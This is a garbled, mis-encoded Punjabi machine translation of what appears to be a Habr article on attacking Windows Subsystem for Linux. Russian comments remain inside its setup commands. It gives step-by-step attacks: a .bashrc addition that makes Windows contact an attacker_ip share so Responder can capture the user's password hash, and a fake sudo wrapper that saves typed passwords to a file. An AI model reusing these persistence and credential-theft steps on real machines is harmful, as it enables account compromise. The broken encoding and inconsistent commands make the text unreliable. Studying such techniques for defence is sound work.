เจ‡เจธ เจธเฉฐเจธเจ•เจฐเจฃ เจตเจฟเฉฑเจš, เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ…เจคเฉ‡ เจฒเฉ€เจจเจ•เจธ เจ•เจฐเจจเจฒ เจฆเฉ‡ เจ†เจชเจฃเฉ‡ เจธเจฐเฉ‹เจค เจนเจจ เจ…เจคเฉ‡ เจ‡เฉฐเจŸเจฐเจธเฉˆเจ•เจธเจผเจจ เจธเจฟเจฐเจซ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจตเจฟเฉฑเจš เจฎเฉŒเจœเฉ‚เจฆ เจนเฉˆ, เจชเจฐ เจ‡เจน เจ‡เฉฐเจŸเจฐเจธเฉˆเจ•เจธเจผเจจ เจชเฉ‚เจฐเจพ เจจเจนเฉ€เจ‚ เจนเฉˆเฅค เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎเจพเจ‚ เจตเจฟเจšเจ•เจพเจฐ เจ†เจชเจธเฉ€ เจคเจพเจฒเจฎเฉ‡เจฒ เจ‡เฉฑเจ• เจ•เจฒเจพเจ‡เฉฐเจŸ-เจธเจฐเจตเจฐ เจฐเฉˆเจชเจฐ เจฆเฉเจ†เจฐเจพ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ 9P เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจ…เฉฑเจœ เจฎเจพเจˆเจ•เฉเจฐเฉ‹เจธเจพเจซเจŸ WSL 1 เจ…เจคเฉ‡ WSL 2 เจตเจฟเจšเจ•เจพเจฐ เจฌเจฆเจฒเจฃ เจฆเฉ€ เจธเจฎเจฐเฉฑเจฅเจพ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจฆเจพ เจนเฉˆเฅค เจฆเฉ‹เจตเฉ‡เจ‚ เจตเจฐเจœเจจ เจตเจฐเจคเฉ‹เจ‚ เจฒเจˆ เจ‰เจชเจฒเจฌเจง เจนเจจเฅค

WSL เจธเฉเจฐเฉฑเจ–เจฟเจ†

เจ‡เจธ เจธเจฎเฉ‡เจ‚, เจ‰เจช-เจชเฉเจฐเจฃเจพเจฒเฉ€เจ†เจ‚ เจตเจฟเจšเจ•เจพเจฐ เจธเฉฐเจšเจพเจฐ 'เจคเฉ‡ เจนเจฎเจฒเจพ เจ•เจฐเจจ เจฒเจˆ เจœเจพเจ‡เจœเจผ OS เจŸเฉ‚เจฒเจธ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจ เจฒเจˆ เจ•เฉเจ เจชเจนเฉเฉฐเจšเจพเจ‚ เจฆเจพ เจตเจฐเจฃเจจ เจ•เจฐเจจ เจตเจพเจฒเฉ‡ เจ•เจˆ เจ•เฉฐเจฎ เจนเจจเฅค เจ…เจธเฉ€เจ‚ เจฒเจฟเจ–เจฃ เจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจนเจฎเจฒเจฟเจ†เจ‚ เจฆเฉ€ เจธเจพเจฐเจฅเจ•เจคเจพ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเจจ เจฒเจˆ เจ‰เจนเจจเจพเจ‚ เจฆเฉ€เจ†เจ‚ เจธเจ•เฉเจฐเจฟเจชเจŸเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจพเจ‚เจ—เฉ‡เฅค เจนเจฎเจฒเจฟเจ†เจ‚ เจ…เจคเฉ‡ เจฆเฉเจฐเจฟเจธเจผเจพเจ‚ เจฆเฉ€ เจ†เจฎ เจธเฉ‚เจšเฉ€:

1. เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจเจพ: เจชเจนเฉเฉฐเจš เจ…เจงเจฟเจ•เจพเจฐ, เจธเจผเฉ‡เจ…เจฐเจก เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€เจ†เจ‚/เจกเจพเจŸเจพ เจเจ•เจธเจšเฉ‡เจ‚เจœ เจตเจฟเจงเฉ€เจ†เจ‚ เจฆเฉ€ เจ‰เจชเจฒเจฌเจงเจคเจพเฅค

เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจจเจฟเจฏเจฎเจพเจ‚ เจฆเฉ€ เจ‰เจฒเฉฐเจ˜เจฃเจพ เจฆเจพ เจชเจคเจพ เจฒเจ—เจพเจ‰เจฃ เจฒเจˆ เจ–เฉ‹เจœ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€ Linux FS->Windows FS, Windows FS->Linux FS. เจ–เฉ‹เจœ เจจเฉ‡ เจจเจฟเจธเจผเจพเจจเจพ OS เจฆเฉ‡ เจ…เฉฐเจฆเจฐ เจฆเจฟเฉฑเจคเฉ€ เจ—เจˆ เจซเจพเจˆเจฒ เจจเฉ‚เฉฐ เจธเฉ‹เจงเจฃ เจฆเฉ€ เจฏเฉ‹เจ—เจคเจพ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจ•เฉ€เจคเจพ เจนเฉˆเฅค เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎเจพเจ‚ เจฆเฉ‡ เจ•เฉเจ เจนเจฟเฉฑเจธเฉ‡ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ, เจกเฉเจชเจฒเฉ€เจ•เฉ‡เจŸ เจฌเจฃเจพเจ‰เจฃ เจ…เจคเฉ‡ เจฎเจฟเจŸเจพเจ‰เจฃ เจฆเฉ€เจ†เจ‚ เจ•เฉ‹เจธเจผเจฟเจธเจผเจพเจ‚ เจตเฉ€ เจ•เฉ€เจคเฉ€เจ†เจ‚ เจ—เจˆเจ†เจ‚ เจธเจจเฅค

เจฆเฉเจฐเจฟเจธเจผ:

  • A. เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉ‹เจ‚ เจนเจฎเจฒเจพ - Linux OS เจฆเฉ€ /etc เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจคเฉ‹เจ‚ เจซเจพเจˆเจฒเจพเจ‚ เจฆเฉ€ เจธเฉ‹เจงเฅค
  • B. เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉ‹เจ‚ เจนเจฎเจฒเจพ - เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€เจ†เจ‚ เจตเจฟเฉฑเจš เจซเจพเจˆเจฒเจพเจ‚ เจฆเฉ€ เจธเฉ‹เจง: C:Windows, C:Program Files, C:Users<User>

2. เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจธเจŸเฉˆเจ• เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจเจพเฅค

เจ–เฉ‹เจœ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ‰เฉฑเจคเฉ‡ เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉ‹เจ‚ เจนเจฎเจฒเจฟเจ†เจ‚ เจฆเฉ€เจ†เจ‚ เจ‰เจฆเจพเจนเจฐเจฃเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€เฅค เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจธเจŸเฉˆเจ• เจฆเฉ€เจ†เจ‚ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€, เจ…เจฐเจฅเจพเจค, เจตเฉฑเจ–-เจตเฉฑเจ– เจธเจฐเฉ‹เจคเจพเจ‚ 'เจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจตเจฟเจงเฉ€เฅค

เจฆเฉเจฐเจฟเจธเจผ:

  • เจ‡เฉฑเจ• เจชเฉ‹เจฐเจŸ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจ–เฉ‹เจฒเฉเจนเจฃเจพ เจœเฉ‹ เจ•เจฟ เจ‡เฉฑเจ• เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจธเจฟเจธเจŸเจฎ เจคเฉ‡ เจนเฉˆ
  • เจ‰เจšเจฟเจค เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจคเฉ‹เจ‚ เจฌเจฟเจจเจพเจ‚ เจชเฉ‹เจฐเจŸ เจ–เฉ‹เจฒเฉเจนเจฃเจพ
  • เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ 'เจคเฉ‡ เจเจฒเจซ เจซเจพเจˆเจฒ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฐเจฟเจตเจฐเจธ เจธเจผเฉˆเฉฑเจฒ เจšเฉฑเจฒ เจฐเจฟเจนเจพ เจนเฉˆเฅค

3. WSL เจธเจฌเจธเจฟเจธเจŸเจฎ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจ–เจคเจฐเจจเจพเจ• เจธเฉŒเจซเจŸเจตเฉ‡เจ…เจฐ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ†เจตเจพเจ‚ เจฆเฉ€ เจธเจผเฉเจฐเฉ‚เจ†เจค เจจเฉ‚เฉฐ เจฒเฉเจ•เจพเจ‰เจฃเจพเฅค

เจ–เฉ‹เจœ เจ‡เฉฑเจ• เจธเจงเจพเจฐเจจ เจคเฉฑเจฅ 'เจคเฉ‡ เจ…เจงเจพเจฐเจค เจธเฉ€ - เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ‰เจช-เจชเฉเจฐเจฃเจพเจฒเฉ€ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจš เจ˜เจŸเจจเจพเจตเจพเจ‚ เจจเฉ‚เฉฐ เจฐเฉ‹เจ• เจจเจนเฉ€เจ‚ เจธเจ•เจฆเฉ‡ เจœเฉ‹ WSL 1 เจฆเฉ‡ เจฎเจพเจฎเจฒเฉ‡ เจตเจฟเฉฑเจš เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉ‹เจ‚ เจ‡เฉฑเจ• เจœเจพเจ‡เจœเจผ เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจ•เฉฐเจฎ เจ•เจฐเจฆเฉ‡ เจนเจจเฅค WSL 2 เจฆเฉ‡ เจฎเจพเจฎเจฒเฉ‡ เจตเจฟเฉฑเจš, เจตเจพเจชเจฐเจจ เจตเจพเจฒเฉ€เจ†เจ‚ เจ˜เจŸเจจเจพเจตเจพเจ‚ เจจเฉ‚เฉฐ เจฆเฉ‡เจ–เจฃ เจฆเจพ เจ•เฉ‹เจˆ เจคเจฐเฉ€เจ•เจพ เจจเจนเฉ€เจ‚ เจนเฉˆเฅค เจฒเจพเจˆเจŸเจตเฉ‡เจŸ เจตเจฐเจšเฉเจ…เจฒ เจฎเจธเจผเฉ€เจจ เจฆเฉ‡ เจ…เฉฐเจฆเจฐ เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเฉ‡ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจšเฅค

เจฆเฉเจฐเจฟเจธเจผ:

1) เจธเจฟเจธเจŸเจฎ เจฒเจˆ เจฐเจฟเจฎเฉ‹เจŸ เจเจ•เจธเฉˆเจธ เจฒเจˆ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจ เจฒเจพเจ‚เจš เจ•เจฐเฉ‹ เจ…เจคเฉ‡ เจฒเฉŒเจ— เจ•เฉ€เจคเฉ‡ เจ‡เจตเฉˆเจ‚เจŸเจพเจ‚ เจจเฉ‚เฉฐ เจฆเฉ‡เจ–เฉ‹เฅค

WSL 1 เจชเฉเจฐเจฏเฉ‹เจ—: เจนเฉˆเจธเจผ เจ‡เฉฐเจŸเจฐเจธเฉˆเจชเจธเจผเจจ (เจตเจฟเฉฐเจกเฉ‹เจœเจผ)

เจ…เฉฐเจค เจตเจฟเฉฑเจš เจ…เจธเฉ€เจ‚ เจตเจฟเจนเจพเจฐเจ• เจญเจพเจ— เจตเจฟเฉฑเจš เจชเจนเฉเฉฐเจš เจ—เจเฅค เจชเจนเจฟเจฒเจพเจ‚, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจŸเฉˆเจธเจŸ เจตเจพเจคเจพเจตเจฐเจจ เจธเฉˆเจŸ เจ…เจช เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆเฅค เจธเจพเจฐเฉ‡ เจชเฉเจฐเจฏเฉ‹เจ—เจพเจ‚ เจจเฉ‚เฉฐ เจตเจฟเฉฐเจกเฉ‹เจœเจผ 10 2004 เจธเจฅเจพเจชเจฟเจค เจ•เฉ€เจคเฉ‡ เจฌเฉˆเจ‚เจš 'เจคเฉ‡ เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพเฅค เจ‰เจฌเฉฐเจŸเฉ‚ 18.04 เจšเจฟเฉฑเจคเจฐ เจจเฉ‚เฉฐ WSL เจฒเจˆ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจšเจฟเฉฑเจคเจฐ เจตเจœเฉ‹เจ‚ เจšเฉเจฃเจฟเจ† เจ—เจฟเจ† เจธเฉ€เฅค เจšเจฟเฉฑเจคเจฐ เจจเฉ‚เฉฐ เจฌเฉ‡เจคเจฐเจคเฉ€เจฌเฉ‡ 'เจคเฉ‡ เจšเฉเจฃเจฟเจ† เจ—เจฟเจ† เจธเฉ€, เจ…เจคเฉ‡ เจ•เฉ‹เจˆ เจตเฉ€ เจนเฉ‹เจฐ เจ‰เจธเฉ‡ เจคเจฐเฉเจนเจพเจ‚ เจ•เฉฐเจฎ เจ•เจฐเฉ‡เจ—เจพเฅค เจธเจŸเฉˆเจ‚เจก เจธเจฅเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจ†เจฆเฉ‡เจธเจผ:

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจชเจนเจฟเจฒเจพเจ‚ เจฒเจพเจ‚เจš เจ•เจฐเจจเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ powershell.exe เจชเฉเจฐเจฌเฉฐเจงเจ• เจตเจœเฉ‹เจ‚เฅค

WSL 1 เจฒเจˆ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะ’ะบะปัŽั‡ะธั‚ัŒ ั„ัƒะฝะบั†ะธัŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ะ—ะฐะณั€ัƒะทะธั‚ัŒ ะพะฑั€ะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft

  • Ubuntu.appx install โ€”root #ะฃัั‚ะฐะฝะพะฒะธะผ ะพะฑั€ะฐะท
  • ะ’ะพะทะผะพะถะฝะพ, ะฟั€ะธะดะตั‚ัั ะฟั€ะพะบะปะธะบะฐั‚ัŒ ะฟั€ะพั†ะตัั ะฝะฐัั‚ั€ะพะนะบะธ ะธ ัะพะทะดะฐั‚ัŒ ะฝะพะฒะพะณะพ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั, ะบะพั‚ะพั€ั‹ะน ะฑัƒะดะตั‚ ะธะผะตั‚ัŒ ะผะตะฝัŒัˆะต ะฟั€ะฐะฒ, ั‡ะตะผ root. ะ”ะปั ะฝะฐัˆะธั… ั‚ะตัั‚ะพะฒ ัั‚ะพ ะฑัƒะดะตั‚ ะพะฑั‹ั‡ะฝั‹ะน ะฟะพะปัŒะทะพะฒะฐั‚ะตะปัŒ sam.
  • Restart-Computer #ะŸะตั€ะตะทะฐะณั€ัƒะทะธะผ
  • เจธเจŸเฉˆเจ‚เจก เจจเฉ‚เฉฐ เจฐเฉ€เจฌเฉ‚เจŸ เจ•เจฐเจจ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, เจคเฉเจธเฉ€เจ‚ bash เจ•เจฎเจพเจ‚เจก เจจเฉ‚เฉฐ เจ•เจพเจฒ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจœเฉ‡ เจธเจญ เจ•เฉเจ เจธเจนเฉ€ เจขเฉฐเจ— เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจคเฉเจธเฉ€เจ‚ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ•เฉฐเจธเฉ‹เจฒ เจตเจฟเฉฑเจš เจ‡เจธเจฆเฉ‡ เจธเจฎเจพเจจ เจ†เจ‰เจŸเจชเฉเฉฑเจŸ เจตเฉ‡เจ–เฉ‹เจ—เฉ‡:

    WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

    เจ…เจธเฉ€เจ‚ เจ•เจพเจฒเฉ€ เจฒเฉ€เจจเจ•เจธ เจกเจฟเจธเจŸเจฐเฉ€เจฌเจฟเจŠเจธเจผเจจ เจจเฉ‚เฉฐ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ€ เจฎเจธเจผเฉ€เจจ เจตเจœเฉ‹เจ‚ เจตเจฐเจคเจพเจ‚เจ—เฉ‡; เจธเจพเจฐเฉ€เจ†เจ‚ เจฎเจธเจผเฉ€เจจเจพเจ‚ เจ‡เฉฑเจ•เฉ‹ เจธเจฅเจพเจจเจ• เจจเฉˆเฉฑเจŸเจตเจฐเจ• 'เจคเฉ‡ เจนเฉ‹เจฃเฉ€เจ†เจ‚ เจšเจพเจนเฉ€เจฆเฉ€เจ†เจ‚ เจนเจจเฅค

    เจฎเฉฐเจจ เจฒเจ“ เจ•เจฟ เจธเจพเจกเฉ‡ เจ•เฉ‹เจฒ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ WSL เจคเฉฑเจ• เจ—เฉˆเจฐ-เจ…เจงเจฟเจ•เจพเจฐเจค เจชเจนเฉเฉฐเจš เจนเฉˆเฅค เจ†เจ‰ เจฒเฉ€เจจเจ•เจธ เจคเฉ‹เจ‚ เจ‡เฉฑเจ• เจ•เจฎเจพเจ‚เจก เจจเฉ‚เฉฐ เจ•เจพเจฒ เจ•เจฐเจ•เฉ‡ เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉ‡ เจนเจฎเจฒเจพ เจ•เจฐเจจ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เจฐเฉ€เจเฅค เจนเจฎเจฒเฉ‡ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจฒเจˆ, เจ…เจธเฉ€เจ‚ เจ‡เฉฑเจ• เจธเจงเจพเจฐเจจ เจ†เจŸเฉ‹เจฐเจจ เจคเจ•เจจเฉ€เจ• เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจพเจ‚เจ—เฉ‡ - เจ…เจธเฉ€เจ‚ เจฒเฉ€เจจเจ•เจธ เจตเจพเจคเจพเจตเจฐเจจ เจตเจฟเฉฑเจš เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ เจฒเจˆ เจธเจพเจกเฉ€ เจธเจ•เฉเจฐเจฟเจชเจŸ เจœเฉ‹เฉœเจพเจ‚เจ—เฉ‡เฅค เจ…เจœเจฟเจนเจพ เจ•เจฐเจจ เจฒเจˆ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจซเจพเจˆเจฒ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจฆเฉ€ เจœเจผเจฐเฉ‚เจฐเจค เจนเฉˆ .bashrc.

    WSL เจตเจพเจฒเฉ€ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ เจ…เจธเฉ€เจ‚ เจšเจฒเจพเจ‰เจ‚เจฆเฉ‡ เจนเจพเจ‚:

    	1. bash
    	2. ะŸะตั€ะตั…ะพะดะธะผ ะฒ ะดะพะผะฐัˆะฝัŽัŽ ะดะธั€ะตะบั‚ะพั€ะธัŽ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั: cd /home/sam/
    	2. echo  ยซ/home/sam/.attack.shยป >> .bashrc
    	3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    เจ•เจพเจฒเฉ€ เจฒเฉ€เจจเจ•เจธ เจฎเจธเจผเฉ€เจจ เจคเฉ‡ เจ…เจธเฉ€เจ‚ เจšเจฒเจพเจ‰เจ‚เจฆเฉ‡ เจนเจพเจ‚:

    1. Responder -I eth0 -rdvw

    เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡, เจ†เจ“ เจฌเฉˆเจธเจผ เจฒเจพเจ‚เจš เจ•เจฐเฉ€เจเฅค

    เจ…เจธเฉ€เจ‚ เจ•เจพเจฒเฉ€ เจฒเฉ€เจจเจ•เจธ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ เจจเจคเฉ€เจœเฉ‡ เจฆเฉ€ เจ‰เจกเฉ€เจ• เจ•เจฐ เจฐเจนเฉ‡ เจนเจพเจ‚:

    WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

    เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, เจ…เจธเฉ€เจ‚ เจฒเฉ€เจจเจ•เจธ เจธเจฟเจธเจŸเจฎ เจ‰เฉฑเจคเฉ‡ เจ•เจฎเจพเจ‚เจก เจšเจฒเจพ เจ•เฉ‡ WSL เจธเจฌ-เจธเจฟเจธเจŸเจฎ เจฐเจพเจนเฉ€เจ‚ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจฏเฉ‚เจœเจผเจฐ เจนเฉˆเจธเจผ เจชเฉเจฐเจพเจชเจค เจ•เฉ€เจคเฉ‡เฅค

    WSL 1 เจชเฉเจฐเจฏเฉ‹เจ—: เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจชเจพเจธเจตเจฐเจก เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ (Linux OS)

    เจ†เจ“ เจ‡เฉฑเจ• เจนเฉ‹เจฐ เจชเฉเจฐเจฏเฉ‹เจ— เจ•เจฐเฉ€เจเฅค เจ‡เจธ เจœเจพเจ‚เจš เจฆเฉ‡ เจฆเฉŒเจฐเจพเจจ เจ…เจธเฉ€เจ‚ เจซเจพเจˆเจฒ เจตเจฟเฉฑเจš เจœเฉ‹เฉœเจพเจ‚เจ—เฉ‡ .bashrc เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจชเจพเจธเจตเจฐเจก เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจ•เจˆ เจ•เจฎเจพเจ‚เจกเจพเจ‚เฅค

    เจ†เจ‰ เจฌเฉˆเจธเจผ เจฒเจพเจ‚เจš เจ•เจฐเฉ€เจ เจ…เจคเฉ‡ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจฆเจฐเจœ เจ•เจฐเฉ€เจ:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    เจนเจฎเจฒเฉ‡ เจจเฉ‚เฉฐ เจธเจซเจฒเจคเจพเจชเฉ‚เจฐเจตเจ• เจชเฉ‚เจฐเจพ เจ•เจฐเจจ เจฒเจˆ, เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจธเฉˆเจฎ เจจเฉ‚เฉฐ เจฒเฉ€เจจเจ•เจธ เจŸเจฐเจฎเฉ€เจจเจฒ เจตเจฟเฉฑเจš sudo เจจเฉ‚เฉฐ เจ•เจพเจฒ เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆเฅค เจ‡เจธ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, เจฒเฉ€เจจเจ•เจธ OS เจฏเฉ‚เจœเจผเจฐ เจชเจพเจธเจตเจฐเจก เจซเจพเจˆเจฒ เจตเจฟเฉฑเจš เจนเฉ‹เจตเฉ‡เจ—เจพ pass.txt:

    WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

    เจนเจฎเจฒเจฟเจ†เจ‚ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจฆเฉ€ เจ—เฉฑเจฒ เจธเจฟเจฐเจซ เจธเจฟเจงเจพเจ‚เจคเจ• เจœเจพเจฃเจ•เจพเจฐเฉ€ เจฒเจˆ เจฆเจฟเฉฑเจคเฉ€ เจ—เจˆ เจธเฉ€เฅค

    เจฒเฉ‡เจ– เจฆเจพ เจ…เจ—เจฒเจพ เจญเจพเจ— 9P เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจฆเจพ เจตเจฐเจฃเจจ เจ•เจฐเฉ‡เจ—เจพ, เจ‡เจธ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฒเจˆ เจ‡เฉฑเจ• เจธเจ•เฉˆเจจเจฐ เจฌเจฃเจพเจ‰เจฃ เจฌเจพเจฐเฉ‡ เจตเจฟเจšเจพเจฐ เจ•เจฐเฉ‡เจ—เจพ, เจ…เจคเฉ‡ เจ‡เจธเจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ‡เฉฑเจ• เจนเจฎเจฒเจพ เจตเฉ€ เจ•เจฐเฉ‡เจ—เจพเฅค

    เจตเจฐเจคเฉ‡ เจ—เจ เจธเจพเจนเจฟเจค เจฆเฉ€ เจธเฉ‚เจšเฉ€

    WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

    เจนเฉ‹เจฐ เจชเฉœเฉเจนเฉ‹

    เจธเจฐเฉ‹เจค: www.habr.com

    เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹